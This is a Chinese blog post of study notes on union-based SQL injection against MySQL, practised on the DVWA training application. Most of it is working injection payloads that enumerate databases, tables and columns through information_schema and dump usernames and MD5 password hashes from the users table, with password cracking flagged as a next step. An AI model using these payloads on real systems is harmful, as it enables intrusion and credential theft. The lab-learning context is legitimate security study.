SQL注入——Mysql查询

Mysql默认在数据库中存放一个"information_schema"的数据库
  • 查看所有库的所有表
'union select table_name,table_schema from information_schema.tables--+
这个过程可以结合hackbar工具
 
  • 统计每个表中的数量
 'union select table_schema,count(*) from information_schema.tables group by table_schema --+
 
  • 查询DVWA中的表名
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查看到有一张User表,里面可能存放着用户名信息,可以选择深层查询
 
 
  • 查询User表中的所有信息
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
其中有user和password列值得注意,接着对这两列进行查询
 
  • 查询user表和password表中内容
法一:'union select user,password from dvwa.users--+
查询到了对应的账号以及密码(md5)
 
法二:
' union select user,password from users--+
查询效果和以上一样
 
法三:
' union select null, concat(user,0x3a,password) from users--+
第一个字段为Null,第二个字段为concat连接,通过0x3a连接,显示格式上会显得易读
 
这里显示出来的密码目测是md5加密,为了符合猜想,可用终端工具hash-identifier检测,剩余的工作为密码破解,后续笔记会进行介绍密码破解部分
 
posted @   峰中追风  阅读(2610)  评论(1编辑  收藏  举报
努力加载评论中...

___________________________________________________________________________________________没有白跑的路

点击右上角即可分享
微信分享提示